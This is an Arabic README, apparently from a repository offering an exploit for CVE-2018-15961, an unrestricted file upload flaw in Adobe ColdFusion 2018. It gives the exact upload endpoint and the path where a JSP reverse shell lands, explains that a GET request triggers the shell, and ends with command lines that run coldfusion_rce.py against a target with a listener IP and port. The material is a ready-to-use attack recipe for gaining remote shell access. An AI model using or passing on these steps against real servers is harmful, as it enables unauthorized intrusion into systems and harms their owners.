
استغلال لـ CVE-2018-15961، ثغرة رفع ملفات غير مقيدة في Adobe ColdFusion 2018 تؤدي إلى RCE.
يحتوي هذا المستودع على كود الاستغلال الخاص بي لثغرة تنفيذ الأكواد عن بُعد (RCE) في Adobe ColdFusion 2018.
يرسل الاستغلال طلب POST يحتوي على قشرة عكسية (reverse shell) بلغة JSP إلى /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. وفي حال نجاح العملية، يتم رفع القشرة إلى /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. ثم يقوم الكود بتشغيل القشرة بإرسال طلب GET بسيط.
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp